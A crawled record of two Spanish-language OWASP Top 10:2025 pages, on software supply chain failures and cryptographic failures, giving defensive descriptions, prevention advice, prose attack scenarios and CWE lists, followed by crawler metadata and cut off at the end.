Antecedentes\n\nEste fue el primer clasificado en la encuesta comunitaria del Top 10, con exactamente el 50% de los encuestados situándolo en el #1. Desde su aparición inicial en el Top 10 de 2013 como \"A9 – Uso de Componentes con Vulnerabilidades Conocidas\", el riesgo ha crecido en alcance para incluir todas las fallas de la cadena de suministro, no solo los que involucran vulnerabilidades conocidas. A pesar de este mayor alcance, las fallas en la cadena de suministro siguen siendo un reto de identificar, con solo 11 CVE (Common Vulnerability and Exposures)(Vulnerabilidades y Exposiciones Comunes) que tienen los CWE (Common Weakness Enumeration) relacionados. Sin embargo, cuando se prueban y se informan en los datos aportados, esta categoría tiene la tasa de incidencia promedio más alta, con un 5.19%. Los CWE relevantes son *CWE-477: Uso de Función Obsoleta*, *CWE-1104: Uso de Componentes de Terceros no Mantenidos*, *CWE-1329: Dependencia en un Componente que no es Actualizable*, y *CWE-1395: Dependencia en un Componente de Terceros Vulnerable*.\n\n## Tabla de puntuación\n\n| CWE Mapeados | Tasa de Incidencia Máx. | Tasa de Incidencia Prom. | Cobertura Máx. | Cobertura Prom. | Explotación Ponderada Prom. | Impacto Ponderado Prom. | Ocurrencias Totales | CVE Totales |\n| --- | --- | --- | --- | --- | --- | --- | --- | --- |\n| 6 | 9.56% | 5.72% | 65.42% | 27.47% | 8.17 | 5.23 | 215,248 | 11 |\n\n## Descripción\n\nLas fallas en la cadena de suministro de software son rupturas u otros compromisos en el proceso de construcción, distribución o actualización del software. A menudo son causados por vulnerabilidades o cambios maliciosos en el código de terceros, herramientas u otras dependencias en las que confía el sistema.\n\nEs probable que sea vulnerable si:\n\n- no realiza un seguimiento cuidadoso de las versiones de todos los componentes que utiliza (tanto en el lado del cliente como en el del servidor). Esto incluye los componentes que utiliza directamente, así como las dependencias anidadas (transitivas).\n- el software es vulnerable, no tiene soporte o está desactualizado. Esto incluye el sistema operativo (SO), el servidor web/de aplicaciones, el sistema de gestión de bases de datos (DBMS), las aplicaciones, las API y todos los componentes, entornos de ejecución y bibliotecas.\n- no escanea regularmente en busca de vulnerabilidades y no se suscribe a boletines de seguridad relacionados con los componentes que utiliza.\n- no dispone de un proceso de gestión de cambios o de un seguimiento de los mismos dentro de su cadena de suministro, incluyendo el seguimiento de los IDE, las extensiones y actualizaciones de los IDE, los cambios en el repositorio de código de su organización, los entornos aislados (sandboxes), los repositorios de imágenes y bibliotecas, la forma en que se crean y almacenan los artefactos, etc. Cada parte de su cadena de suministro debe estar documentada, especialmente los cambios.\n- no ha bastionado (hardenizado) cada parte de su cadena de suministro, con especial atención al control de acceso y la aplicación del mínimo privilegio.\n- sus sistemas de cadena de suministro no tienen ninguna separación de funciones (separation of duty). Ninguna persona debería poder escribir código y desplegarlo a producción sin la supervisión de otro ser humano.\n- se utilizan en entornos de producción, o pueden impactar en ellos, componentes de fuentes no confiables en cualquier parte de la pila (stack)tecnológica.\n- no corrige ni actualiza la plataforma subyacente, los frameworks y las dependencias de forma oportuna y basada en el riesgo. Esto suele ocurrir en entornos donde el parcheado es una tarea mensual o trimestral bajo control de cambios, dejando a las organizaciones abiertas a días o meses de exposición innecesaria antes de corregir las vulnerabilidades.\n- los desarrolladores de software no prueban la compatibilidad de las bibliotecas actualizadas o parcheadas.\n- no asegura las configuraciones de cada parte de su sistema (consulte [A02:2025-Configuración de Seguridad Incorrecta](https://owasp.org/Top10/2025/A02_2025-Security_Misconfiguration/) ).\n- su flujo de CI/CD (CI/CD pipeline) tiene una seguridad más débil que los sistemas que construye y despliega, especialmente si es complejo.\n\n## Cómo prevenir\n\nDebe existir un proceso de gestión de parches para:\n\n- Generar y gestionar de forma centralizada la Lista de Materiales de Software (Software Bill of Materials, SBOM) (inventario de componentes de software) de todo su software.\n- Realizar un seguimiento no solo de sus dependencias directas, sino también de sus dependencias (transitivas), y así sucesivamente.\n- Reducir la superficie de ataque eliminando las dependencias no utilizadas, las funciones innecesarias, los componentes, los archivos y la documentación.\n- Inventariar continuamente las versiones de los componentes tanto del lado del cliente como del servidor (por ejemplo, frameworks, bibliotecas) y sus dependencias utilizando herramientas como OWASP Dependency Track, OWASP Dependency Check, retire.js, etc.\n- Supervisar continuamente fuentes como Common Vulnerability and Exposures (CVE), National Vulnerability Database (NVD) y [Open Source Vulnerabilities (OSV)](https://osv.dev/) en busca de vulnerabilidades en los componentes que utiliza. Utilice herramientas de análisis de composición de software (Software Composition Analysis, SCA), de cadena de suministro de software o herramientas de SBOM centradas en la seguridad para automatizar el proceso. Suscríbase a alertas de vulnerabilidades de seguridad relacionadas con los componentes que utiliza.\n- Obtener únicamente componentes de fuentes oficiales (confiables) a través de enlaces seguros. Prefiera los paquetes firmados para reducir la posibilidad de incluir un componente modificado y malicioso (consulte [A08:2025-Fallas en la Integridad del Software o de los Datos](https://owasp.org/Top10/2025/A08_2025-Software_or_Data_Integrity_Failures/) ).\n- Elegir deliberadamente qué versión de una dependencia utiliza y actualizarla solo cuando sea necesario.\n- Vigilar las bibliotecas y componentes que no reciben mantenimiento o que no crean parches de seguridad para versiones antiguas. Si no es posible parchear, considere la posibilidad de migrar a una alternativa. Si eso no es posible, considere el despliegue de un parche virtual para monitorizar, detectar o proteger contra el problema descubierto.\n- Actualizar regularmente su CI/CD, IDE y cualquier otra herramienta de desarrollo.\n- Evitar el despliegue de actualizaciones en todos los sistemas simultáneamente. Utilice despliegues escalonados o despliegues canario (canary deployments) para limitar la exposición en caso de que un proveedor de confianza se vea comprometido.\n\nDebe existir un proceso de gestión de cambios o un sistema de seguimiento para rastrear los cambios en:\n\n- Ajustes de CI/CD (continuous integration / continuous delivery-deployment) (todas las herramientas y flujos de construcción)\n- Repositorios de código\n- Áreas de pruebas (sandboxes)\n- IDE de los desarrolladores\n- Herramientas de SBOM y artefactos creados\n- Sistemas de registro (logging) y registros (logs)\n- Integraciones con terceros, como SaaS\n- Repositorios de artefactos\n- Registros de contenedores\n\nBastione (hardening) los siguientes sistemas, lo que incluye habilitar MFA (Multi-Factor Authentication) (Autenticación multifactor) y restringir el IAM (Identity and Access Management) (Gestión de Identidades y Accesos):\n\n- Su repositorio de código (lo que incluye no subir secretos, proteger ramas, copias de seguridad)\n- Estaciones de trabajo de los desarrolladores (parcheado regular, MFA, monitoreo y más)\n- Tu servidor de compilación y CI/CD (separación de funciones, control de acceso, compilaciones firmadas, secretos con alcance de entorno, registros a prueba de manipulaciones, más)\n- Sus artefactos (garantizar la integridad mediante la procedencia, la firma y la marca de tiempo (time stamp), promocionar artefactos en lugar de reconstruirlos para cada entorno, garantizar que las compilaciones sean inalterables)\n- Infraestructura como código (gestionada como todo el código, incluyendo el uso de PRs (Pull Requests) y control de versiones)\n\nCada organización debe garantizar un plan continuo para monitorear, triar y aplicar actualizaciones o cambios de configuración durante toda la vida útil de la aplicación o portafolio.\n\n## Escenarios de ejemplo de ataque\n\n**Escenario #1:** Un proveedor de confianza es comprometido con malware, lo que provoca que sus sistemas informáticos sean comprometidos al actualizar. El ejemplo más famoso de esto es probablemente:\n\n- El compromiso de SolarWinds en 2019 que llevó a que unas 18,000 organizaciones se vieran comprometidas. [https://www.npr.org/2021/04/16/985439655/a-worst-nightmare-cyberattack-the-untold-story-of-the-solarwinds-hack](https://www.npr.org/2021/04/16/985439655/a-worst-nightmare-cyberattack-the-untold-story-of-the-solarwinds-hack)\n\n**Escenario #2:** Un proveedor de confianza es comprometido de tal manera que se comporta de forma maliciosa solo bajo una condición específica.\n\n- El robo de 1,500 millones de dólares a Bybit en 2025 fue causado por [un ataque a la cadena de suministro en el software de la billetera (wallet)](https://www.sygnia.co/blog/sygnia-investigation-bybit-hack/) que solo se ejecutaba cuando se utilizaba la billetera objetivo.\n\n**Escenario #3:** El ataque a la cadena de suministro [`Shai-Hulud`](https://www.cisa.gov/news-events/alerts/2025/09/23/widespread-supply-chain-compromise-impacting-npm-ecosystem) en 2025 fue el primer gusano npm autopropagable con éxito. Los ataques sembraron versiones maliciosas de paquetes populares, que utilizaban un script de post-instalación para recolectar y exfiltrar datos sensibles a repositorios públicos de GitHub. El malware también detectaba tokens de npm en el entorno de la víctima y los utilizaba automáticamente para subir versiones maliciosas de cualquier paquete accesible. El gusano alcanzó más de 500 versiones de paquetes antes de ser interrumpido por npm. Este ataque a la cadena de suministro fue avanzado, de rápida propagación y dañino, y al dirigirse a las máquinas de los desarrolladores demostró que los propios desarrolladores son ahora objetivos principales para los ataques a la cadena de suministro.\n\n**Escenario #4:** Los componentes suelen ejecutarse con los mismos privilegios que la propia aplicación, por lo que las fallas en cualquier componente pueden tener un impacto grave. Tales fallas pueden ser accidentales (por ejemplo, un error de progrmación) o intencionados (por ejemplo, una puerta trasera (backdoor) en un componente). Algunos ejemplos de vulnerabilidades de componentes explotables descubiertas son:\n\n- CVE-2017-5638, una vulnerabilidad de ejecución remota de código en Struts 2 que permite la ejecución de código arbitrario en el servidor, ha sido señalada como la causa de brechas significativas.\n- CVE-2021-44228 (\"Log4Shell\"), una vulnerabilidad de día cero de ejecución remota de código en Apache Log4j, ha sido señalada como la causa de campañas de ransomware, criptominería y otros ataques.\n\n## Referencias\n\n- [Estándar de Verificación de Seguridad en Aplicaciones de OWASP: V15 Arquitectura y Codificación Segura] (OWASP Application Security Verification Standard (ASVS)) (https://owasp.org/www-project-application-security-verification-standard/)\n- [Serie de guías rápidas de OWASP: SBOM de Gráfico de Dependencias](https://cheatsheetseries.owasp.org/cheatsheets/Dependency_Graph_SBOM_Cheat_Sheet.html)\n- [Serie de guías rápidas de OWASP: Gestión de Dependencias Vulnerables](https://cheatsheetseries.owasp.org/cheatsheets/Vulnerable_Dependency_Management_Cheat_Sheet.html)\n- [OWASP Dependency-Track](https://owasp.org/www-project-dependency-track/)\n- [OWASP CycloneDX](https://owasp.org/www-project-cyclonedx/)\n- [Estándar de Verificación de Seguridad en Aplicaciones de OWASP: V1 Arquitectura, diseño y modelado de amenazas](https://owasp-aasvs.readthedocs.io/en/latest/v1.html)\n- [OWASP Dependency Check (para bibliotecas Java y .NET)](https://owasp.org/www-project-dependency-check/)\n- Guía de Pruebas de OWASP - Map Application Architecture (OTG-INFO-010)\n- [Mejores Prácticas de Parcheado Virtual de OWASP](https://owasp.org/www-community/Virtual_Patching_Best_Practices)\n- [La desafortunada realidad de las bibliotecas inseguras](https://www.scribd.com/document/105692739/JeffWilliamsPreso-Sm)\n- [Búsqueda de Vulnerabilidades y Exposiciones Comunes (CVE) de MITRE](https://www.cve.org)\n- [Base de Datos Nacional de Vulnerabilidades (NVD)](https://nvd.nist.gov)\n- [Retire.js para detectar bibliotecas JavaScript vulnerables conocidas](https://retirejs.github.io/retire.js/)\n- [Base de datos de alertas de seguridad de GitHub](https://github.com/advisories)\n- Base de datos de avisos de seguridad y herramientas para bibliotecas Ruby\n- [Controles de Integridad de Software de SAFECode (PDF)](https://safecode.org/publication/SAFECode_Software_Integrity_Controls0610.pdf)\n- [Ataque a la cadena de suministro Glassworm](https://thehackernews.com/2025/10/self-spreading-glassworm-infects-vs.html)\n- [Campaña de ataque a la cadena de suministro PhantomRaven](https://thehackernews.com/2025/10/phantomraven-malware-found-in-126-npm.html)\n\n## Lista de CWE Mapeados\n\n- [CWE-447 Uso de Función Obsoleta (Use of Obsolete Function)](https://cwe.mitre.org/data/definitions/447.html)\n- [CWE-1035 Top 10 2017 A9: Uso de Componentes con Vulnerabilidades Conocidas (2017 Top 10 A9: Using Components with Known Vulnerabilities)](https://cwe.mitre.org/data/definitions/1035.html)\n- [CWE-1104 Uso de Componentes de Terceros no Mantenidos (Use of Unmaintained Third Party Components)](https://cwe.mitre.org/data/definitions/1104.html)\n- [CWE-1329 Dependencia en un Componente que no es Actualizable (Reliance on Component That is Not Updatable)](https://cwe.mitre.org/data/definitions/1329.html)\n- [CWE-1357 Dependencia en un Componente Insuficientemente Confiable (Reliance on Insufficiently Trustworthy Component)](https://cwe.mitre.org/data/definitions/1357.html)\n- [CWE-1395 Dependencia en un Componente de Terceros Vulnerable (Dependency on Vulnerable Third-Party Component)](https://cwe.mitre.org/data/definitions/1395.html)", "znaku_textu": 14131, "slov": 1877, "odkazu": 62, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 10:08:50", "sha256": "c7a3592f1cdaa75fb26613beeaf83f3f3670a664f1e5fedc03d053af5a795f97", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/Top10", "https://osv.dev/", "https://www.npr.org/2021/04/16/985439655/a-worst-nightmare-cyberattack-the-untold-story-of-the-solarwinds-hack", "https://www.sygnia.co/blog/sygnia-investigation-bybit-hack/", "https://www.cisa.gov/news-events/alerts/2025/09/23/widespread-supply-chain-compromise-impacting-npm-ecosystem", "https://cheatsheetseries.owasp.org/cheatsheets/Dependency_Graph_SBOM_Cheat_Sheet.html", "https://cheatsheetseries.owasp.org/cheatsheets/Vulnerable_Dependency_Management_Cheat_Sheet.html", "https://owasp-aasvs.readthedocs.io/en/latest/v1.html", "https://www.scribd.com/document/105692739/JeffWilliamsPreso-Sm", "https://www.cve.org/", "https://nvd.nist.gov/", "https://retirejs.github.io/retire.js/", "https://github.com/advisories", "https://safecode.org/publication/SAFECode_Software_Integrity_Controls0610.pdf", "https://thehackernews.com/2025/10/self-spreading-glassworm-infects-vs.html", "https://thehackernews.com/2025/10/phantomraven-malware-found-in-126-npm.html", "https://cwe.mitre.org/data/definitions/447.html", "https://cwe.mitre.org/data/definitions/1035.html", "https://cwe.mitre.org/data/definitions/1104.html", "https://cwe.mitre.org/data/definitions/1329.html", "https://cwe.mitre.org/data/definitions/1357.html", "https://cwe.mitre.org/data/definitions/1395.html", "http://creativecommons.org/licenses/by/3.0/deed.en_US", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/Top10/2025/es/A04_2025-Cryptographic_Failures/", "titulek": "A04 Fallos Criptográficos - OWASP Top 10:2025", "h1": "A04:2025 Fallas Criptográficas", "popis": "OWASP Top 10:2025", "klicova_slova": "", "kanonicka": "https://owasp.org/Top10/2025/es/A04_2025-Cryptographic_Failures/", "jazyk": "es", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "A04:2025 Fallas Criptográficas"}, {"uroven": 2, "text": "Antecedentes."}, {"uroven": 2, "text": "Factores."}, {"uroven": 2, "text": "Descripción."}, {"uroven": 2, "text": "Cómo se previene."}, {"uroven": 2, "text": "Ejemplos de escenarios de ataque."}, {"uroven": 2, "text": "Referencias."}, {"uroven": 2, "text": "Lista de CWEs Mapeados"}], "markdown": "# A04:2025 Fallas Criptográficas\n\n## Antecedentes.\n\nBajando dos posiciones hasta el #4, esta debilidad se centra en fallas relacionadas con la ausencia de criptografía, criptografía insuficientemente robusta, filtración de claves criptográficas y errores relacionados. Tres de los CWEs más comunes en este riesgo involucran el uso de un generador de números pseudoaleatorios débil: *CWE-327 Algoritmo Criptográfico Vulnerado o Inseguro, CWE-331: Entropía Insuficiente*, *CWE-1241: Uso de Algoritmo Predecible en Generador de Números Aleatorios*, y *CWE-338 Uso de un Generador de Números Pseudoaleatorios (PRNG Pseudo-random Number Generator) Criptográficamente Débil*.\n\n## Factores.\n\n| CWEs Mapeados | Tasa Máx. de Incidencia | Tasa Prom. de Incidencia | Cobertura Máx. | Cobertura Prom. | Explotabilidad Ponderada Prom. | Impacto Ponderado Prom. | Total de Ocurrencias | Total de CVEs |\n| --- | --- | --- | --- | --- | --- | --- | --- | --- |\n| 32 | 13.77% | 3.80% | 100.00% | 47.74% | 7.23 | 3.90 | 1,665,348 | 2,185 |\n\n## Descripción.\n\nEn términos generales, todos los datos en tránsito deben cifrarse en la [capa de transporte](https://en.wikipedia.org/wiki/Transport_layer) (capa 4 del [modelo OSI](https://en.wikipedia.org/wiki/OSI_model)). Obstáculos anteriores como el rendimiento de la CPU y la gestión de claves privadas/certificados ahora son manejados por CPUs con instrucciones diseñadas para acelerar el cifrado (p. ej., [soporte AES](https://en.wikipedia.org/wiki/AES_instruction_set)), y la gestión de claves privadas y certificados se ha simplificado mediante servicios como [LetsEncrypt.org](https://LetsEncrypt.org), con los principales proveedores de nube ofreciendo servicios de gestión de certificados aún más integrados para sus plataformas específicas.\n\nMás allá de asegurar la capa de transporte, es importante determinar qué datos necesitan cifrado en reposo y qué datos requieren cifrado adicional en tránsito (en la [capa de aplicación](https://en.wikipedia.org/wiki/Application_layer), capa 7 del OSI). Por ejemplo, contraseñas, números de tarjetas de crédito, registros médicos, información personal y secretos comerciales requieren protección adicional, especialmente si esos datos están sujetos a leyes de privacidad como el Reglamento General de Protección de Datos (RGPD Règlement Général sur la Protection des Données (General Data Protection Regulation)) de la UE, o regulaciones como el Estándar de Seguridad de Datos PCI (PCI DSS). Para todos esos datos:\n\n- ¿Se usan algoritmos o protocolos criptográficos antiguos o débiles, ya sea por defecto o en código heredado?\n- ¿Se usan claves criptográficas predeterminadas, se generan claves débiles, se reutilizan claves, o falta una gestión y rotación adecuada de claves?\n- ¿Se incluyen claves criptográficas en repositorios de código fuente?\n- ¿No se aplica el cifrado? Por ejemplo, ¿faltan directivas o cabeceras de seguridad HTTP (del navegador)?\n- ¿Se valida correctamente el certificado del servidor recibido y la cadena de confianza?\n- ¿Se ignoran, reutilizan o generan de forma insegura los vectores de inicialización para el modo de operación criptográfico? ¿Se usa un modo de operación inseguro como ECB? ¿Se usa cifrado cuando el cifrado autenticado sería más apropiado?\n- ¿Se usan contraseñas como claves criptográficas sin una función de derivación de claves basada en contraseña?\n- ¿Se usa aleatoriedad no diseñada para cumplir requisitos criptográficos? Aunque se elija la función correcta, ¿necesita ser inicializada (seed) por el desarrollador y, de ser así, ha sobrescrito la funcionalidad de semilla fuerte incorporada con una semilla con entropía/imprevisibilidad insuficiente?\n- ¿Se usan funciones hash obsoletas como MD5 o SHA1, o se usan funciones hash no criptográficas cuando se necesitan funciones hash criptográficas?\n- ¿Son explotables los mensajes de error criptográficos o la información de canal lateral, por ejemplo en forma de ataques de relleno de oracle (padding oracle)?\n- ¿Puede el algoritmo criptográfico ser degradado o eludido?\n\nConsultar referencias ASVS: Criptografía (V11), Comunicación Segura (V12) y Protección de Datos (V14).\n\n## Cómo se previene.\n\nComo mínimo, hacer lo siguiente y consultar las referencias:\n\n- Clasificar y etiquetar los datos procesados, almacenados o transmitidos por una aplicación. Identificar qué datos son sensibles según las leyes de privacidad, los requisitos regulatorios o las necesidades del negocio.\n- Almacenar las claves más sensibles en un HSM físico o basado en la nube.\n- Usar implementaciones bien reconocidas de algoritmos criptográficos siempre que sea posible.\n- No almacenar datos sensibles innecesariamente. Descartarlos lo antes posible o usar tokenización conforme a PCI DSS (Payment Card Industry Data Security Standard) (Estándar de Seguridad de Datos de la Industria de Tarjetas de Pago) o incluso truncamiento. Los datos que no se retienen no pueden ser robados.\n- Asegurarse de cifrar todos los datos sensibles en reposo.\n- Garantizar que estén en uso algoritmos, protocolos y claves estándar actualizados y robustos; usar una gestión de claves adecuada.\n- Cifrar todos los datos en tránsito con protocolos >= TLS 1.2 únicamente, con cifradores de secreto hacia adelante (forward secrecy, FS), eliminar soporte para cifrados en modo CBC, soportar algoritmos de intercambio de claves cuánticos. Para HTTPS, aplicar cifrado mediante HTTP Strict Transport Security (HSTS). Verificar todo con una herramienta.\n- Deshabilitar el caché para respuestas que contengan datos sensibles. Esto incluye el caché en el CDN, el servidor web y cualquier caché de aplicación (p. ej., Redis).\n- Aplicar los controles de seguridad requeridos según la clasificación de datos.\n- No usar protocolos sin cifrado como FTP y STARTTLS. Evitar usar SMTP para transmitir datos confidenciales.\n- Almacenar contraseñas usando funciones de hashing robustas, adaptativas y con sal (salt), con un factor de trabajo (factor de retardo), como Argon2, yescrypt, scrypt o PBKDF2-HMAC-SHA-512. Para sistemas heredados que usan bcrypt, consultar la [Guía de referencia rápida de OWASP: Almacenamiento de Contraseñas](https://cheatsheetseries.owasp.org/cheatsheets/Password_Storage_Cheat_Sheet.html)\n- Los vectores de inicialización deben elegirse apropiadamente para el modo de operación. Esto puede significar usar un CSPRNG (generador de números pseudoaleatorios criptográficamente seguro). Para modos que requieren un nonce, el vector de inicialización (IV) no necesita un CSPRNG. En todos los casos, el IV nunca debe usarse dos veces para una clave fija.\n- Usar siempre cifrado autenticado en lugar de solo cifrado.\n- Las claves deben generarse criptográficamente de forma aleatoria y almacenarse en memoria como arreglos de bytes. Si se usa una contraseña, debe convertirse en clave mediante una función de derivación de clave basada en contraseña apropiada.\n- Asegurarse de que se use aleatoriedad criptográfica donde corresponda y que no haya sido inicializada (seeded) de forma predecible o con baja entropía. La mayoría de las APIs modernas no requieren que el desarrollador inicialice el CSPRNG para que sea seguro.\n- Evitar funciones criptográficas obsoletas, métodos de construcción de bloques y esquemas de relleno (padding), como MD5, SHA1, Modo de Encadenamiento de Bloques (CBC), PKCS número 1 v1.5.\n- Asegurarse de que las configuraciones y ajustes cumplan los requisitos de seguridad mediante revisión por especialistas en seguridad, herramientas diseñadas para este propósito, o ambos.\n- Es necesario prepararse ahora para la criptografía poscuántica (PQC), ver referencia (ENISA), para que los sistemas de alto riesgo estén protegidos a más tardar a finales de 2030.\n\n## Ejemplos de escenarios de ataque.\n\n**Escenario #1**: Un sitio no usa ni exige TLS en todas las páginas, o admite cifrado débil. Un atacante monitorea el tráfico de red (p. ej., en una red inalámbrica insegura), degrada las conexiones de HTTPS a HTTP, intercepta solicitudes y roba la cookie de sesión del usuario. El atacante luego reproduce esta cookie y secuestra la sesión (autenticada) del usuario, accediendo o modificando los datos privados del usuario. Alternativamente, podría alterar todos los datos transportados, por ejemplo, el destinatario de una transferencia de dinero.\n\n**Escenario #2**: La base de datos de contraseñas usa hashes sin sal (salt) o hashes simples para almacenar todas las contraseñas. Un fallo de carga de archivos permite a un atacante recuperar la base de datos de contraseñas. Todos los hashes sin salt pueden quedar expuestos con una tabla arcoiris (rainbow table) de hashes precalculados. Los hashes generados por funciones hash simples o rápidas pueden ser descifrados por GPUs, incluso si tenían sal.\n\n## Referencias.\n\n- [OWASP Controles Proactivos: C2: Usar Criptografía para Proteger Datos](https://top10proactive.owasp.org/archive/2024/the-top-10/c2-crypto/)\n- [Estándar de Verificación de Seguridad de Aplicaciones OWASP (ASVS):](https://owasp.org/www-project-application-security-verification-standard) [V11,](https://github.com/OWASP/ASVS/blob/v5.0.0/5.0/en/0x20-V11-Cryptography.md) [12,](https://github.com/OWASP/ASVS/blob/v5.0.0/5.0/en/0x21-V12-Secure-Communication.md) [14](https://github.com/OWASP/ASVS/blob/v5.0.0/5.0/en/0x23-V14-Data-Protection.md)\n- [Guía de referencia rápida de OWASP: Protección de la Capa de Transporte](https://cheatsheetseries.owasp.org/cheatsheets/Transport_Layer_Protection_Cheat_Sheet.html)\n- [Guía de referencia rápida de OWASP: Protección de Privacidad del Usuario](https://cheatsheetseries.owasp.org/cheatsheets/User_Privacy_Protection_Cheat_Sheet.html)\n- [Guía de referencia rápida de OWASP: Almacenamiento de Contraseñas](https://cheatsheetseries.owasp.org/cheatsheets/Password_Storage_Cheat_Sheet.html)\n- [Guía de referencia rápida de OWASP: Almacenamiento Criptográfico](https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html)\n- [Guía de referencia rápida de OWASP: HSTS (Seguridad de Transporte Estricta HTTP)](https://cheatsheetseries.owasp.org/cheatsheets/HTTP_Strict_Transport_Security_Cheat_Sheet.html)\n- [Guía de Pruebas OWASP: Pruebas de Criptografía Débil](https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/09-Testing_for_Weak_Cryptography/README)\n- [ENISA: Hoja de Ruta de Implementación Coordinada para la Transición a la Criptografía Poscuántica](https://digital-strategy.ec.europa.eu/en/library/coordinated-implementation-roadmap-transition-post-quantum-cryptography)\n- [NIST publica los primeros 3 Estándares de Cifrado Poscuántico finalizados](https://www.nist.gov/news-events/news/2024/08/nist-releases-first-3-finalized-post-quantum-encryption-standards)\n\n## Lista de CWEs Mapeados\n\n- [CWE-261 Codificación Débil para Contraseñas (Weak Encoding for Password)](https://cwe.mitre.org/data/definitions/261.html)\n- [CWE-296 Seguimiento Inadecuado de la Cadena de Confianza de un Certificado (Improper Following of a Certificate's Chain of Trust)](https://cwe.mitre.org/data/definitions/296.html)\n- [CWE-319 Transmisión en Texto Plano de Información Sensible (Cleartext Transmission of Sensitive Information)](https://cwe.mitre.org/data/definitions/319.html)\n- [CWE-320 Errores en la Gestión de Claves (Key Management Errors) (Prohibido)](https://cwe.mitre.org/data/definitions/320.html)\n- [CWE-321 Uso de Clave Criptográfica Embebida (quemada) en el Código (Use of Hard-coded Cryptographic Key)](https://cwe.mitre.org/data/definitions/321.html)\n- [CWE-322 Intercambio de Claves sin Autenticación de Entidad (Key Exchange without Entity Authentication)](https://cwe.mitre.org/data/definitions/322.html)\n- [CWE-323 Reutilización de un Nonce o Par de Claves en el Cifrado (Reusing a Nonce, Key Pair in Encryption)](https://cwe.mitre.org/data/definitions/323.html)\n- [CWE-324 Uso de una Clave Más Allá de su Fecha de Expiración (Use of a Key Past its Expiration Date)](https://cwe.mitre.org/data/definitions/324.html)\n- [CWE-325 Paso Criptográfico Requerido Faltante (Missing Required Cryptographic Step)](https://cwe.mitre.org/data/definitions/325.html)\n- [CWE-326 Fortaleza de Cifrado Inadecuada (Inadequate Encryption Strength)](https://cwe.mitre.org/data/definitions/326.html)\n- [CWE-327 Algoritmo Criptográfico Vulnerado o Riesgoso (Use of a Broken or Risky Cryptographic Algorithm)](https://cwe.mitre.org/data/definitions/327.html)\n- [CWE-328 Hash Unidireccional Reversible (Reversible One-Way Hash)](https://cwe.mitre.org/data/definitions/328.html)\n- [CWE-329 No Usar un IV Aleatorio con el Modo CBC (Not Using a Random IV with CBC Mode)](https://cwe.mitre.org/data/definitions/329.html)\n- [CWE-330 Uso de Valores Insuficientemente Aleatorios (Use of Insufficiently Random Values)](https://cwe.mitre.org/data/definitions/330.html)\n- [CWE-331 Entropía Insuficiente (Insufficient Entropy)](https://cwe.mitre.org/data/definitions/331.html)\n- [CWE-332 Entropía Insuficiente en el PRNG (Insufficient Entropy in PRNG)](https://cwe.mitre.org/data/definitions/332.html)\n- [CWE-334 Espacio Pequeño de Valores Aleatorios (Small Space of Random Values)](https://cwe.mitre.org/data/definitions/334.html)\n- [CWE-335 Uso Incorrecto de Semillas en el Generador de Números Pseudoaleatorios (Incorrect Usage of Seeds in Pseudo-Random Number Generator) (PRNG)](https://cwe.mitre.org/data/definitions/335.html)\n- [CWE-336 Misma Semilla en el Generador de Números Pseudoaleatorios (Same Seed in Pseudo-Random Number Generator) (PRNG)](https://cwe.mitre.org/data/definitions/336.html)\n- [CWE-337 Semilla Predecible en el Generador de Números Pseudoaleatorios (Predictable Seed in Pseudo-Random Number Generator) (PRNG)](https://cwe.mitre.org/data/definitions/337.html)\n- [CWE-338 Uso de un Generador de Números Pseudoaleatorios Criptográficamente Débil (Use of Cryptographically Weak Pseudo-Random Number Generator) (PRNG)](https://cwe.mitre.org/data/definitions/338.html)\n- [CWE-340 Generación de Números o Identificadores Predecibles (Generation of Predictable Numbers or Identifiers)](https://cwe.mitre.org/data/definitions/340.html)\n- [CWE-342 Valor Exacto Predecible a Partir de Valores Anteriores (Predictable Exact Value from Previous Values)](https://cwe.mitre.org/data/definitions/342.html)\n- [CWE-347 Verificación Inadecuada de Firma Criptográfica (Improper Verification of Cryptographic Signature)](https://cwe.mitre.org/data/definitions/347.html)\n- [CWE-523 Transporte Desprotegido de Credenciales (Unprotected Transport of Credentials)](https://cwe.mitre.org/data/definitions/523.html)\n- [CWE-757 Selección de Algoritmo Menos Seguro Durante la Negociación (Selection of Less-Secure Algorithm During Negotiation) ('Degradación de Algoritmo' / 'Algorithm Downgrade')](https://cwe.mitre.org/data/definitions/757.html)\n- [CWE-759 Uso de Hash Unidireccional sin Sal (Use of a One-Way Hash without a Salt)](https://cwe.mitre.org/data/definitions/759.html)\n- [CWE-760 Uso de Hash Unidireccional con Sal Predecible (Use of a One-Way Hash with a Predictable Salt)](https://cwe.mitre.org/data/definitions/760.html)\n- [CWE-780 Uso del Algoritmo RSA sin OAEP (Use of RSA Algorithm without OAEP)](https://cwe.mitre.org/data/definitions/780.html)\n- [CWE-916 Uso de Hash de Contraseña con Esfuerzo Computacional Insuficiente (Use of Password Hash With Insufficient Computational Effort)](https://cwe.mitre.org/data/definitions/916.html)\n- [CWE-1240 Uso de una Primitiva Criptográfica con una Implementación Riesgosa (Use of a Cryptographic Primitive with a Risky Implementation)](https://cwe.mitre.org/data/definitions/1240.html)\n- [CWE-1241 Uso de Algoritmo Predecible en Generador de Números Aleatorios (Use of Predictable Algorithm in Random Number Generator)](https://cwe.mitre.org/data/definitions/1241.html)", "znaku_textu": 15593, "slov": 1870, "odkazu": 85, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 10:08:51", "sha256": "26776d6fbcbd7b1599a7fe7d863ee817a7957bca45397a1b703d1138c5f46207", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/Top10", "https://en.wikipedia.org/wiki/Transport_layer", "https://en.wikipedia.org/wiki/OSI_model", "https://en.wikipedia.org/wiki/AES_instruction_set", "https://letsencrypt.org/", "https://en.wikipedia.org/wiki/Application_layer", "https://cheatsheetseries.owasp.org/cheatsheets/Password_Storage_Cheat_Sheet.html", "https://top10proactive.owasp.org/archive/2024/the-top-10/c2-crypto/", 